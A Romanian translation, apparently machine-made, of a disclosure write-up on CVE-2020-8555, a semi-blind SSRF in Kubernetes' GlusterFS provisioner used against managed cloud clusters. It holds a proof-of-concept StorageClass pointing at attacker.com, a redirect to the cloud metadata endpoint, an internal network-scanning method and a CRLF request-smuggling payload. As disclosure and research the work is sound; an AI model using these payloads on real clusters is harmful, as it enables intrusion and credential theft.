Când nu este vorba doar despre vulnerabilitățile Kubernetes...

Notă. transl.: autorii acestui articol vorbesc în detaliu despre cum au reușit să descopere vulnerabilitatea CVE-2020-8555 în Kubernetes. Deși inițial nu părea foarte periculos, în combinație cu alți factori criticitatea sa s-a dovedit a fi maximă pentru unii furnizori de cloud. Mai multe organizații au recompensat cu generozitate specialiștii pentru munca depusă.

Când nu este vorba doar despre vulnerabilitățile Kubernetes...

Cine suntem noi

Suntem doi cercetători francezi în domeniul securității care au descoperit împreună o vulnerabilitate în Kubernetes. Numele noastre sunt Brice Augras și Christophe Hauquiert, dar pe multe platforme Bug Bounty suntem cunoscuți ca Reeverzax și, respectiv, Hach:

Ce s-a întâmplat?

Acest articol este modul nostru de a împărtăși modul în care un proiect obișnuit de cercetare s-a transformat în mod neașteptat în cea mai incitantă aventură din viața vânătorilor de bug-uri (cel puțin pentru moment).

După cum probabil știți, vânătorii de bug-uri au câteva caracteristici notabile:

  • trăiesc din pizza și bere;
  • lucrează când toți ceilalți doarme.

Nu facem excepție de la aceste reguli: de obicei ne întâlnim în weekend și petrecem nopți nedormite pirateind. Dar una dintre aceste nopți s-a încheiat într-un mod foarte neobișnuit.

Inițial urma să ne întâlnim pentru a discuta despre participarea la CTF ziua urmatoare. În timpul unei conversații despre securitatea Kubernetes într-un mediu de servicii gestionate, ne-am amintit vechea idee de SSRF (Falsificarea cererii pe partea serverului) și a decis să încerce să-l folosească ca script de atac.

La ora 11 ne-am așezat să ne facem cercetările și ne-am culcat dimineața devreme, foarte mulțumiți de rezultate. Din cauza acestei cercetări, am dat peste programul MSRC Bug Bounty și am venit cu un exploit de escaladare a privilegiilor.

Au trecut câteva săptămâni/luni, iar rezultatul nostru neașteptat a dus la una dintre cele mai mari recompense din istoria Azure Cloud Bug Bounty - pe lângă cea pe care am primit-o de la Kubernetes!

Pe baza proiectului nostru de cercetare, Kubernetes Product Security Committee a publicat CVE-2020-8555.

Acum aș dori să răspândesc informații despre vulnerabilitatea găsită cât mai mult posibil. Sperăm că apreciați descoperirea și împărtășiți detaliile tehnice altor membri ai comunității infosec!

Deci, iată povestea noastră...

context

Pentru a înțelege cât mai bine ceea ce s-a întâmplat, să ne uităm mai întâi la modul în care funcționează Kubernetes într-un mediu gestionat în cloud.

Când instanțiați un cluster Kubernetes într-un astfel de mediu, nivelul de management este de obicei responsabilitatea furnizorului de cloud:

Când nu este vorba doar despre vulnerabilitățile Kubernetes...
Stratul de control este situat în perimetrul furnizorului de cloud, în timp ce nodurile Kubernetes sunt situate la perimetrul clientului

Pentru a aloca dinamic volume, este utilizat un mecanism pentru a le furniza dinamic dintr-un backend de stocare extern și pentru a le compara cu PVC (revendicare de volum persistentă, adică o solicitare pentru un volum).

Astfel, după ce PVC-ul este creat și legat de StorageClass în cluster-ul K8s, acțiunile suplimentare de furnizare a volumului sunt preluate de managerul controlerului kube/cloud (numele său exact depinde de ediție). (Notă. transl.: Am scris deja mai multe despre CCM folosind exemplul implementării sale pentru unul dintre furnizorii de cloud aici.)

Există mai multe tipuri de furnizori suportați de Kubernetes: majoritatea sunt incluși în miezul orchestratorului, în timp ce altele sunt gestionate de furnizori suplimentari care sunt plasați în pod-uri în cluster.

În cercetarea noastră, ne-am concentrat pe mecanismul intern de furnizare a volumului, care este ilustrat mai jos:

Când nu este vorba doar despre vulnerabilitățile Kubernetes...
Aprovizionarea dinamică a volumelor utilizând furnizorul Kubernetes încorporat

Pe scurt, atunci când Kubernetes este implementat într-un mediu gestionat, managerul controlerului este responsabilitatea furnizorului de cloud, dar cererea de creare a volumului (numărul 3 în diagrama de mai sus) părăsește rețeaua internă a furnizorului de cloud. Și aici lucrurile devin cu adevărat interesante!

Scenariul de hacking

În această secțiune, vom explica cum am profitat de fluxul de lucru menționat mai sus și am accesat resursele interne ale furnizorului de servicii cloud. De asemenea, vă va arăta cum puteți efectua anumite acțiuni, cum ar fi obținerea acreditărilor interne sau escaladarea privilegiilor.

O simplă manipulare (în acest caz, Service Side Request Forgery) a ajutat să trecem dincolo de mediul client în grupuri de diferiți furnizori de servicii sub K8-uri gestionate.

În cercetarea noastră ne-am concentrat pe furnizorul GlusterFS. În ciuda faptului că secvența ulterioară de acțiuni este descrisă în acest context, Quobyte, StorageOS și ScaleIO sunt susceptibile la aceeași vulnerabilitate.

Când nu este vorba doar despre vulnerabilitățile Kubernetes...
Abuzul mecanismului dinamic de furnizare a volumului

În timpul analizei clasei de depozitare GlusterFS în codul sursă al clientului Golang noi observatcă la prima solicitare HTTP (3) trimisă în timpul creării volumului, până la sfârșitul URL-ului personalizat din parametru resturl adăugat /volumes.

Am decis să scăpăm de această cale suplimentară prin adăugare # în parametru resturl. Iată prima configurație YAML pe care am folosit-o pentru a testa o vulnerabilitate SSRF semi-oarbă (puteți citi mai multe despre SSRF semi-orb sau semi-orb, de exemplu, aici - aprox. traducere):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Apoi am folosit binarul pentru a gestiona de la distanță clusterul Kubernetes kubectl. De obicei, furnizorii de servicii cloud (Azure, Google, AWS etc.) vă permit să obțineți acreditări pentru utilizare în acest utilitar.

Datorită acestui lucru, am putut să folosesc fișierul meu „special”. Kube-controller-manager a executat cererea HTTP rezultată:

kubectl create -f sc-poc.yaml

Când nu este vorba doar despre vulnerabilitățile Kubernetes...
Răspunsul din punctul de vedere al atacatorului

La scurt timp după aceasta, am putut primi și un răspuns HTTP de la serverul țintă - prin comenzi describe pvc sau get events în kubectl. Și într-adevăr: acest driver Kubernetes implicit este prea pronunțat în mesajele sale de avertismente/eroare...

Iată un exemplu cu un link către https://www.google.frsetat ca parametru resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Când nu este vorba doar despre vulnerabilitățile Kubernetes...

În această abordare, ne-am limitat la interogări precum HTTP POST și nu a putut obține conținutul corpului răspunsului dacă codul de returnare a fost 201. Prin urmare, am decis să efectuăm cercetări suplimentare și am extins acest scenariu de hacking cu noi abordări.

Evoluția cercetării noastre

  • Scenariul avansat #1: Utilizarea unei redirecționări 302 de la un server extern pentru a schimba metoda HTTP pentru a oferi o modalitate mai flexibilă de colectare a datelor interne.
  • Scenariul avansat #2: Automatizați scanarea LAN și descoperirea resurselor interne.
  • Scenariul avansat nr. 3: utilizarea HTTP CRLF + contrabandă („solicitare contrabandă”) pentru a crea solicitări HTTP personalizate și pentru a prelua date extrase din jurnalele kube-controller.

Specificatii tehnice

  • Cercetarea a folosit Azure Kubernetes Service (AKS) cu Kubernetes versiunea 1.12 în regiunea Europei de Nord.
  • Scenariile descrise mai sus au fost executate pe cele mai recente versiuni de Kubernetes, cu excepția celui de-al treilea scenariu, deoarece avea nevoie de Kubernetes construit cu versiunea Golang ≤ 1.12.
  • Serverul extern al atacatorului - https://attacker.com.

Scenariul avansat #1: Redirecționarea unei solicitări HTTP POST către GET și primirea datelor sensibile

Metoda originală a fost îmbunătățită prin configurarea serverului atacatorului pentru a reveni 302 HTTP Recodpentru a converti o solicitare POST într-o cerere GET (pasul 4 din diagramă):

Când nu este vorba doar despre vulnerabilitățile Kubernetes...

Prima cerere (3) venită de la client GlusterFS (Manager de control), are un tip POST. Urmând acești pași, am reușit să-l transformăm într-un GET:

  • Ca parametru resturl în StorageClass este indicat http://attacker.com/redirect.php.
  • Punct final https://attacker.com/redirect.php răspunde cu un cod de stare HTTP 302 cu următorul antet de locație: http://169.254.169.254. Aceasta poate fi orice altă resursă internă - în acest caz, linkul de redirecționare este folosit doar ca exemplu.
  • În mod implicit biblioteca net/http Golang redirecționează cererea și convertește POST într-un GET cu un cod de stare 302, rezultând o solicitare HTTP GET către resursa țintă.

Pentru a citi corpul răspunsului HTTP trebuie să faceți describe Obiect PVC:

kubectl describe pvc xxx

Iată un exemplu de răspuns HTTP în format JSON pe care l-am putut primi:

Când nu este vorba doar despre vulnerabilitățile Kubernetes...

Capacitățile vulnerabilității găsite la acel moment erau limitate din cauza următoarelor puncte:

  • Imposibilitatea de a insera anteturi HTTP în cererea de ieșire.
  • Incapacitatea de a efectua o solicitare POST cu parametrii în corp (acest lucru este convenabil să solicitați valoarea cheii de la o instanță etcd care rulează pe 2379 port dacă este utilizat HTTP necriptat).
  • Imposibilitatea de a prelua conținutul corpului răspunsului când codul de stare era 200 și răspunsul nu avea un tip de conținut JSON.

Scenariul avansat #2: Scanarea rețelei locale

Această metodă SSRF semi-oarbă a fost apoi utilizată pentru a scana rețeaua internă a furnizorului de cloud și pentru a interpela diferite servicii de ascultare (instanță de metadate, Kubelet, etcd, etc.) pe baza răspunsurilor. controler kube.

Când nu este vorba doar despre vulnerabilitățile Kubernetes...

Mai întâi, au fost determinate porturile de ascultare standard ale componentelor Kubernetes (8443, 10250, 10251 etc.), iar apoi a trebuit să automatizăm procesul de scanare.

Văzând că această metodă de scanare a resurselor este foarte specifică și nu este compatibilă cu scanerele clasice și instrumentele SSRF, am decis să ne creăm proprii lucrători într-un script bash care automatizează întregul proces.

De exemplu, pentru a scana rapid intervalul 172.16.0.0/12 al rețelei interne, 15 lucrători au fost lansati în paralel. Intervalul IP de mai sus a fost selectat doar ca exemplu și poate fi supus modificării intervalului IP al furnizorului dvs. de servicii.

Pentru a scana o adresă IP și un port, trebuie să faceți următoarele:

  • ștergeți ultima StorageClass verificată;
  • eliminați revendicarea de volum persistentă verificată anterior;
  • modificați valorile IP și Port în sc.yaml;
  • creați un StorageClass cu un nou IP și port;
  • creați un nou PVC;
  • extrage rezultatele scanării utilizând descrie pentru PVC.

Scenariul avansat #3: injectarea CRLF + contrabanda HTTP în versiunile „vechi” ale clusterului Kubernetes

Dacă în plus, furnizorul a oferit clienților versiuni vechi ale clusterului K8s и le-a dat acces la jurnalele kube-controller-manager, efectul a devenit și mai semnificativ.

Este într-adevăr mult mai convenabil pentru un atacator să modifice cererile HTTP concepute pentru a obține un răspuns HTTP complet, la discreția sa.

Când nu este vorba doar despre vulnerabilitățile Kubernetes...

Pentru implementarea ultimului scenariu trebuiau îndeplinite următoarele condiții:

  • Utilizatorul trebuie să aibă acces la jurnalele kube-controller-manager (ca, de exemplu, în Azure LogInsights).
  • Clusterul Kubernetes trebuie să utilizeze o versiune de Golang mai mică decât 1.12.

Am implementat un mediu local care a simulat comunicarea între clientul GlusterFS Go și un server țintă fals (ne vom abține de la a publica PoC-ul deocamdată).

A fost găsit vulnerabilitate, afectând versiunile Golang mai mici decât 1.12 și permițând hackerilor să efectueze atacuri de contrabandă HTTP/CRLF.

Prin combinarea semi-orb SSRF descris mai sus вместе cu aceasta, am putut trimite cereri după bunul nostru plac, inclusiv înlocuirea antetelor, a metodei HTTP, a parametrilor și a datelor, pe care kube-controller-manager le-a procesat apoi.

Iată un exemplu de „momeală” funcțională într-un parametru resturl StorageClass, care implementează un scenariu de atac similar:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Rezultatul este o eroare răspuns nesolicitat, un mesaj despre care este înregistrat în jurnalele controlerului. Datorită verbozității activate în mod implicit, conținutul mesajului de răspuns HTTP este de asemenea salvat acolo.

Când nu este vorba doar despre vulnerabilitățile Kubernetes...

Aceasta a fost cea mai eficientă „momeală” a noastră în cadrul dovezii de concept.

Folosind această abordare, am reușit să efectuăm câteva dintre următoarele atacuri asupra clusterelor diferiților furnizori k8s administrați: escaladarea privilegiilor cu acreditări pe instanțe de metadate, Master DoS prin solicitări HTTP (necriptate) pe instanțele master etcd etc.

Aftermath

În declarația oficială Kubernetes cu privire la vulnerabilitatea SSRF pe care am descoperit-o, aceasta a fost evaluată CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Dacă luăm în considerare doar vulnerabilitatea asociată cu perimetrul Kubernetes, vectorul de integritate (vector de integritate) se califică drept Nici unul.

Cu toate acestea, evaluarea posibilelor consecințe în contextul unui mediu de servicii gestionate (și aceasta a fost cea mai interesantă parte a cercetării noastre!) ne-a determinat să reclasificăm vulnerabilitatea într-un rating. CVSS critic 10/10 pentru mulți distribuitori.

Mai jos sunt informații suplimentare pentru a vă ajuta să înțelegeți considerentele noastre atunci când evaluăm impacturile potențiale în mediile cloud:

integritate

  • Executați comenzile de la distanță folosind acreditările interne dobândite.
  • Reproducerea scenariului de mai sus folosind metoda IDOR (Insecure Direct Object Reference) cu alte resurse găsite în rețeaua locală.

Confidențialitate

  • Tip de atac Miscare laterala datorită furtului de acreditări cloud (de exemplu, metadate API).
  • Colectarea informațiilor prin scanarea rețelei locale (determinarea versiunii SSH, a versiunii serverului HTTP, ...).
  • Colectați informații despre instanță și infrastructură interogând API-urile interne, cum ar fi API-ul de metadate (http://169.254.169.254, ...).
  • Furarea datelor clienților folosind acreditările cloud.

disponibilitate

Toate scenariile de exploatare legate de vectorii de atac sunt activate integritate, poate fi folosit pentru acțiuni distructive și duce la indisponibilitatea instanțelor master din perimetrul clientului (sau oricare altul).

Deoarece ne aflăm într-un mediu K8s gestionat și evaluăm impactul asupra integrității, ne putem imagina multe scenarii care ar putea afecta disponibilitatea. Exemple suplimentare includ coruperea bazei de date etcd sau efectuarea unui apel critic la API-ul Kubernetes.

cronologie

  • 6 decembrie 2019: Vulnerabilitatea raportată la MSRC Bug Bounty.
  • 3 ianuarie 2020: o terță parte a informat dezvoltatorii Kubernetes că lucrăm la o problemă de securitate. Și le-a cerut să considere SSRF ca o vulnerabilitate internă (in-core). Am furnizat apoi un raport general cu detalii tehnice despre sursa problemei.
  • 15 ianuarie 2020: Am furnizat rapoarte tehnice și generale dezvoltatorilor Kubernetes la cererea acestora (prin platforma HackerOne).
  • 15 ianuarie 2020: Dezvoltatorii Kubernetes ne-au notificat că injecția semi-oarbă SSRF + CRLF pentru versiunile anterioare este considerată o vulnerabilitate de bază. Am încetat imediat să analizăm perimetrele altor furnizori de servicii: echipa K8s se ocupa acum de cauza principală.
  • 15 ianuarie 2020: recompensa MSRC primită prin HackerOne.
  • 16 ianuarie 2020: Kubernetes PSC (Product Security Committee) a recunoscut vulnerabilitatea și a cerut să o păstreze secretă până la jumătatea lunii martie din cauza numărului mare de potențiale victime.
  • 11 februarie 2020: a primit recompensa Google VRP.
  • 4 martie 2020: recompensa Kubernetes primită prin HackerOne.
  • 15 martie 2020: Dezvăluirea publică programată inițial a fost amânată din cauza situației COVID-19.
  • 1 iunie 2020: Declarație comună Kubernetes + Microsoft despre vulnerabilitate.

TL; DR

  • Bem bere si mancam pizza :)
  • Am descoperit o vulnerabilitate in-core în Kubernetes, deși nu aveam nicio intenție să facem acest lucru.
  • Am efectuat analize suplimentare pe grupuri de diferiți furnizori de cloud și am reușit să creștem daunele cauzate de vulnerabilitate pentru a primi bonusuri extraordinare suplimentare.
  • Veți găsi o mulțime de detalii tehnice în acest articol. Am fi bucuroși să le discutăm cu tine (Twitter: @ReeverZax & @__hach_).
  • S-a dovedit că tot felul de formalități și raportare au durat mult mai mult decât se aștepta.

referințe

PS de la traducator

Citește și pe blogul nostru:

Sursa: www.habr.com

Adauga un comentariu